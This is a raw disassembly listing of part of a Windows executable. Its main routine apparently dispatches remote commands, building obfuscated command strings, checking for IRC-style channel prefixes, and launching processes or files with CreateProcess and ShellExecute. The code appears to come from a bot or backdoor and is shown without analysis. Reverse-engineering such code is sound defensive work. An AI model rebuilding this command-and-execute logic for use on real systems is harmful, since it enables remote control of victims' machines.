sub_403C90 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403D10 proc near ; CODE XREF: sub_401AD2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403D10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+33h]
mov [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+1Eh]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403D10 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403D90 proc near ; CODE XREF: sub_401749j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403D90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403D90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403E00 proc near ; CODE XREF: sub_4011A4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403E00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_402207
lea ecx, [esi+49h]
mov [esp+14h+var_4], 0
call sub_402207
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_402207
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_402207
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_402207
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_402207
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_402207
lea ecx, [esi+1FFh]
mov byte ptr [esp+14h+var_4], 6
call sub_402207
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403E00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403EE0 proc near ; CODE XREF: sub_40206Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403EE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+1FFh]
mov [esp+14h+var_4], 6
call sub_401AD2
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_401AD2
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401AD2
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_401AD2
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_401AD2
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_401AD2
lea ecx, [esi+49h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AD2
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AD2
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403EE0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_403FC0 proc near ; CODE XREF: sub_401D34j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403FC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebp
push esi
push edi
push 0
push 4
push 9
push 4Fh
lea eax, [esp+70h+var_3C]
push 2
mov esi, ecx
push eax
call sub_4019B5
add esp, 18h
push esi
mov ecx, eax
mov [esp+64h+var_4], 0
call sub_4017E4
lea ecx, [esi+0C29h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_403FC0 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4
push 0Eh
push 12h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 1
call sub_4017E4
push eax
lea eax, [esi+0BCDh]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 15h
push 0Fh
push 2
push 1
push 4Fh
lea ecx, [esp+40h]
push 2
push ecx
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 2
call sub_4017E4
lea edx, [esi+0C57h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 12h
push 15h
push 3
push 5
push 13h
push 4Fh
lea eax, [esp+44h]
push 2
push eax
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 3
call sub_4017E4
lea ecx, [esi+0DF5h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Fh
push 6
push 0Eh
push 9
push 13h
push 19h
push 13h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 4
call sub_4017E4
push eax
lea eax, [esi+0C85h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 16h
push 0Fh
push 0Dh
push 5
push 12h
push 4Fh
lea ecx, [esp+44h]
push 2
push ecx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 5
call sub_4017E4
lea edx, [esi+0B71h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
push 4Fh
lea eax, [esp+4Ch]
push 2
push eax
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 6
call sub_4017E4
lea ecx, [esi+0DC7h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Eh
push 5
push 10h
push 0Fh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 7
call sub_4017E4
push eax
lea eax, [esi+0D0Fh]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 9
push 15h
push 11h
push 4Fh
lea ecx, [esp+3Ch]
push 2
push ecx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 8
call sub_4017E4
lea edx, [esi+0D99h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 4
push 0Dh
push 3
push 4Fh
lea eax, [esp+38h]
push 2
push eax
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 9
call sub_4017E4
lea ecx, [esi+0E23h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
lea edx, [esp+38h]
push 2
push edx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ah
call sub_4017E4
push eax
lea eax, [esi+0D6Bh]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 4Fh
lea ecx, [esp+38h]
push 2
push ecx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Bh
call sub_4017E4
lea edx, [esi+0D3Dh]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 0Dh
push 9
push 14h
push 10h
push 15h
push 0Ch
push 4Fh
lea eax, [esp+48h]
push 2
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ch
call sub_4017E4
push eax
lea ecx, [esi+0CB3h]
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Dh
call sub_4017E4
push eax
lea eax, [esi+0CE1h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
db 8Dh, 4Ch, 24h
dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh
dd 51500C24h, 0FFDC09E8h, 8C483FFh, 256A006Ah, 236A1D6Ah
dd 3424548Dh, 0C752286Ah, 0E742444h, 0E8000000h, 0FFFFD57Dh
dd 8B18C483h, 244C8DE8h, 2444C60Ch, 99E80F5Ch, 50FFFFD3h
dd 91E8CD8Bh, 50FFFFD3h, 4435F468h, 60B56800h, 0A8E8004Dh
dd 83FFFFD9h, 4C8D10C4h, 44C62424h, 0E80E5C24h, 0FFFFCDB2h
dd 448D206Ah, 6A4024h, 244C8D50h, 0CE2CE818h, 0C88BFFFFh
dd 5C2444C6h, 0D352E810h, 6850FFFFh, 4435F0h, 4E6E8568h
dd 0CB8BE800h, 0C483FFFFh, 2444C60Ch, 4C8D0E5Ch, 73E83C24h
dd 90FFFFCDh, 3EC2B0E8h, 0B8C88B02h, 10624DD3h, 0EAC1E1F7h
dd 244C8D06h, 556890Ch, 5C247C89h, 0FFCD51E8h, 244C8BFFh
dd 5D5E5F54h, 0D8964h, 83000000h, 90C354C4h, 2 dup(90909090h)
dd 54h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_404640 proc near ; CODE XREF: sub_401A32j
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_404640
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 7Ch
push ebx
push ebp
push esi
mov esi, [esp+94h+arg_0]
mov ebp, ecx
push edi
lea ebx, [esi+2Ah]
push 0
mov ecx, ebx
mov [esp+9Ch+var_88], ebp
call sub_40146F
mov cl, [eax]
lea edi, [esi+69h]
cmp cl, 23h
jnz short loc_404682
push ebx
jmp short loc_404686
; ---------------------------------------------------------------------------
loc_404682: ; CODE XREF: sub_404640+3Dj
lea eax, [esi+15h]
push eax
loc_404686: ; CODE XREF: sub_404640+40j
mov ecx, edi
call sub_401FBE
mov al, [esi+94h]
test al, al
jz short loc_4046A2
lea ecx, [esi+15h]
push ecx
mov ecx, edi
call sub_401FBE
loc_4046A2: ; CODE XREF: sub_404640+55j
mov al, [esi+95h]
test al, al
jz short loc_40471F
lea ecx, [esp+98h+var_6C]
call sub_401424
push offset aO ; " -o"
mov ecx, esi
mov [esp+9Ch+var_4], 0
call sub_4013E3
add eax, 3
lea edx, [esp+98h+var_54]
push eax
push edx
mov ecx, esi
call sub_401E2E
push eax
lea ecx, [esp+9Ch+var_6C]
mov byte ptr [esp+9Ch+var_4], 1
call sub_401FBE
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], 0
call sub_401226
lea eax, [esp+98h+var_6C]
mov ecx, edi
push eax
call sub_401FBE
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
loc_40471F: ; CODE XREF: sub_404640+6Aj
push offset asc_443600 ; " "
lea ecx, [esp+9Ch+var_6C]
push 0
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+98h+var_54]
mov ebx, 2
push 1
push edx
mov ecx, eax
mov [esp+0A0h+var_4], ebx
call sub_401E2E
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 3
call sub_401FBE
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
push 0
lea ecx, [ebp+32Ch]
call sub_40146F
push 0
mov ecx, esi
mov ebp, eax
call sub_40146F
mov al, [eax]
mov cl, [ebp+0]
cmp al, cl
jnz loc_4049EA
push 0
push 14h
push 1
push 5
push 10h
push 5
push 12h
push 4Eh
push 14h
push 0Fh
lea ecx, [esp+0C0h+var_54]
push ebx
push ecx
call sub_4019B5
add esp, 30h
mov ecx, eax
mov [esp+98h+var_4], 4
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40480F
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0B0h+arg_0], esp
push edx
call sub_4014C9
mov ecx, offset word_448C9E
call sub_401CD0
test eax, eax
jz short loc_40480F
mov bl, 1
jmp short loc_404811
; ---------------------------------------------------------------------------
loc_40480F: ; CODE XREF: sub_404640+1A6j
; sub_404640+1C9j
xor bl, bl
loc_404811: ; CODE XREF: sub_404640+1CDj
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_4049CE
push offset asc_443600 ; " "
lea eax, [esp+9Ch+var_54]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov [esp+9Ch+var_4], 5
call sub_4012EE
test eax, eax
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz loc_4049EA
push offset asc_443600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+98h+var_4], 6
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+98h+var_54]
mov ebp, eax
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz loc_4049EA
push 20h
mov ecx, esi
call sub_401D20
lea edx, [esp+98h+var_84]
push eax
push edx
mov ecx, esi
call sub_401E2E
mov ebx, 7
push 20h
lea ecx, [esp+9Ch+var_84]
mov [esp+9Ch+var_4], ebx
call sub_401D20
push eax
lea eax, [esp+9Ch+var_54]
push eax
lea ecx, [esp+0A0h+var_84]
call sub_401E2E
push eax
lea ecx, [esp+9Ch+var_84]
mov byte ptr [esp+9Ch+var_4], 8
call sub_40200E
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_84]
push ecx
mov ecx, esi
call sub_401FBE
push offset asc_443600 ; " "
lea edx, [esp+9Ch+var_24]
push 0
push edx
mov ecx, esi
call sub_4016AE
lea ecx, [esp+98h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+0A0h+var_4], 9
call sub_401E2E
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_401FBE
lea ecx, [esp+98h+var_3C]
mov byte ptr [esp+98h+var_4], 9
call sub_401226
lea ecx, [esp+98h+var_24]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
mov al, [esp+98h+arg_4]
test al, al
jnz short loc_4049A7
test ebp, ebp
jle short loc_4049B8
loc_404998: ; CODE XREF: sub_404640+363j
mov ecx, [esp+98h+var_88]
push esi
call sub_401F69
dec ebp
jnz short loc_404998
jmp short loc_4049B8
; ---------------------------------------------------------------------------
loc_4049A7: ; CODE XREF: sub_404640+352j
test ebp, ebp
jle short loc_4049B8
loc_4049AB: ; CODE XREF: sub_404640+376j
mov ecx, [esp+98h+var_88]
push esi
call sub_401442
dec ebp
jnz short loc_4049AB
loc_4049B8: ; CODE XREF: sub_404640+356j
; sub_404640+365j ...
lea ecx, [esp+98h+var_84]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_4049EA
; ---------------------------------------------------------------------------
loc_4049CE: ; CODE XREF: sub_404640+1E7j
mov al, [esp+98h+arg_4]
mov ecx, [esp+98h+var_88]
test al, al
push esi
jnz short loc_4049E5
call sub_401F69
jmp short loc_4049EA
; ---------------------------------------------------------------------------
loc_4049E5: ; CODE XREF: sub_404640+39Cj
call sub_401442
loc_4049EA: ; CODE XREF: sub_404640+162j
; sub_404640+232j ...
mov ecx, [esp+98h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 88h
retn 8
sub_404640 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404B10 proc near ; CODE XREF: sub_401F69j
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
mov ecx, offset word_448CA2
call sub_4014D3
mov esi, [esp+8+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jz short loc_404B56
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push eax
call sub_4014C9
mov ecx, offset word_448C9E
call sub_401CD0
test eax, eax
jnz short loc_404B56
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404B56: ; CODE XREF: sub_404B10+1Dj
; sub_404B10+3Dj
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push edx
call sub_4014C9
mov ecx, offset word_448C9E
call sub_401CD0
test eax, eax
jnz short loc_404B96
mov al, [edi+469h]
test al, al
jz short loc_404B96
push 0
lea ecx, [esi+2Ah]
call sub_40146F
cmp byte ptr [eax], 23h
jz short loc_404B96
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404B96: ; CODE XREF: sub_404B10+64j
; sub_404B10+6Ej ...
push esi
mov ecx, edi
call sub_401442
pop edi
pop esi
retn 4
sub_404B10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404BE0 proc near ; CODE XREF: sub_401442j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 1
lea ecx, [esi+7Eh]
call sub_4017E4
push eax
mov ecx, offset dword_447158
call sub_401AF0
test eax, eax
jz short loc_404C0A
mov ecx, [eax+2Ah]
push esi
mov eax, [ecx]
call dword ptr [eax]
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404C0A: ; CODE XREF: sub_404BE0+1Cj
xor al, al
pop esi
retn 4
sub_404BE0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C20 proc near ; CODE XREF: sub_40185Cj
push esi
push edi
mov edi, dword_50F8A4
mov esi, ecx
call edi
mov edx, dword_4D60D9
mov ecx, [esi+421h]
sub eax, edx
cmp eax, ecx
jbe short loc_404C4F
mov ecx, offset byte_4D60B5
call sub_401D0C
call edi
mov dword_4D60D9, eax
loc_404C4F: ; CODE XREF: sub_404C20+1Cj
pop edi
mov al, 1
pop esi
retn
sub_404C20 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C70 proc near ; CODE XREF: sub_4017C6j
var_1B4 = dword ptr -1B4h
var_1B0 = byte ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = byte ptr -1A8h
var_198 = byte ptr -198h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_17C = dword ptr -17Ch
var_178 = byte ptr -178h
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_14D = byte ptr -14Dh
var_14C = byte ptr -14Ch
var_130 = byte ptr -130h
var_11C = byte ptr -11Ch
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_D0 = dword ptr -0D0h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_54 = byte ptr -54h
var_50 = byte ptr -50h
var_48 = byte ptr -48h
var_30 = byte ptr -30h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_404C70
push eax
mov large fs:0, esp
sub esp, 15Ch
push ebx
push ebp
push esi
mov esi, [esp+174h+arg_0]
push edi
mov edi, ecx
lea ebp, [esi+7Eh]
lea ecx, [edi+0C29h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404CE4
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [edi+2E3h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
jmp loc_405675
; ---------------------------------------------------------------------------
loc_404CE4: ; CODE XREF: sub_404C70+40j
lea ecx, [edi+0D6Bh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404E75
push 1
push offset asc_443600 ; " "
lea edx, [esp+180h+var_14C]
push 2
push edx
mov ecx, esi
call sub_4011EA
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_100]
push 1
push eax
mov ecx, esi
mov [esp+184h+var_4], 0
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, 1
lea ecx, [esp+178h+var_100]
mov byte ptr [esp+178h+var_4], 0
setz bl
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_401424
push 2000h
push 2000h
lea ecx, [esp+180h+var_164]
mov byte ptr [esp+180h+var_4], 2
call sub_401C5D
push eax
lea ecx, [esp+180h+var_14C]
call sub_4017E4
push eax
nop
call near ptr 2810000h
lea ecx, [esp+178h+var_164]
push ecx
lea ecx, [esp+17Ch+var_14C]
call sub_401FBE
mov ecx, 11h
xor eax, eax
lea edi, [esp+178h+var_D0]
lea edx, [esp+178h+var_11C]
rep stosd
lea eax, [esp+178h+var_D0]
push edx
push eax
push 0
neg bl
push 0
push 28h
sbb ebx, ebx
push 1
and ebx, 5
push 0
push 0
lea ecx, [esp+198h+var_14C]
mov [esp+198h+var_D0], 44h
mov word ptr [esp+198h+var_A0], bx
call sub_4014D3
push eax
push 0
call near ptr 2800000h
nop
test eax, eax
jnz short loc_404E49
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_404E49: ; CODE XREF: sub_404C70+18Cj
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_404E75: ; CODE XREF: sub_404C70+89j
lea ecx, [edi+0B71h]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404F24
push 1
push offset asc_443600 ; " "
lea eax, [esp+180h+var_164]
push 1
push eax
mov ecx, esi
call sub_4011EA
mov ecx, offset byte_4E6E85
mov [esp+178h+var_4], 3
call sub_4017E4
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4012EE
test eax, eax
jnz short loc_404F10
mov al, byte_4478D6
test al, al
jz short loc_404EE0
push offset dword_447874
mov ecx, offset dword_448DB0
call sub_401447
loc_404EE0: ; CODE XREF: sub_404C70+25Fj
mov al, byte_44791F
test al, al
jz short loc_404EF8
push offset byte_44794F
mov ecx, offset dword_448DB0
call sub_401942
loc_404EF8: ; CODE XREF: sub_404C70+277j
mov ecx, offset dword_448DB0
call sub_401E5B
mov byte_4D60CC, 0
mov byte_4E6E84, 0
loc_404F10: ; CODE XREF: sub_404C70+256j
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_164]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_404F24: ; CODE XREF: sub_404C70+21Aj
lea ecx, [edi+0C57h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404F6C
lea ecx, [esi+69h]
call sub_4014D3
push eax
mov ecx, offset word_4E6E9A
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D60B5
call sub_401118
jmp loc_405675
; ---------------------------------------------------------------------------
loc_404F6C: ; CODE XREF: sub_404C70+2C9j
lea ecx, [edi+0DC7h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405029
push eax
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
lea eax, [esp+19Ch+var_14C]
push 50h
push eax
call sub_4019B5
add esp, 2Ch
mov esi, eax
push 0
push 5
push 18h
push 5
push 4Eh
push 7
push 9
push 6
push 0Eh
push 0Fh
push 3
push 10h
lea ecx, [esp+1A8h+var_164]
push 9
push ecx
mov [esp+1B0h+var_4], 4
call sub_4019B5
add esp, 38h
mov edi, eax
mov ecx, esi
mov byte ptr [esp+178h+var_4], 5
call sub_4017E4
push eax
mov ecx, edi
call sub_4017E4
push eax
call sub_401299
add esp, 8
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 4
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405029: ; CODE XREF: sub_404C70+311j
lea ecx, [edi+0D0Fh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405147
lea ecx, [esp+178h+var_14C]
call sub_401424
push offset asc_443600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
mov [esp+184h+var_4], 6
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 7
call sub_4017E4
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_401A87
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_401424
push 1
mov bl, 8
push 0
push 0
lea ecx, [esp+184h+var_14C]
mov byte ptr [esp+184h+var_4], bl
call sub_4017E4
push eax
push offset aOpen ; "open"
push 0
nop
call near ptr 7CA41110h
movsx eax, al
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4020F4
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 9
push ecx
lea ecx, [esp+17Ch+var_164]
call sub_40200E
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_405147: ; CODE XREF: sub_404C70+3CEj
lea ecx, [edi+0D99h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_40516A
mov byte_4D60CC, al
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_40516A: ; CODE XREF: sub_404C70+4ECj
lea ecx, [edi+0D3Dh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405431
lea ecx, [esp+178h+var_11C]
call sub_401424
push offset asc_443600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
mov ebx, 0Ah
push ecx
mov ecx, esi
mov [esp+184h+var_4], ebx
call sub_4016AE
push offset byte_446F70
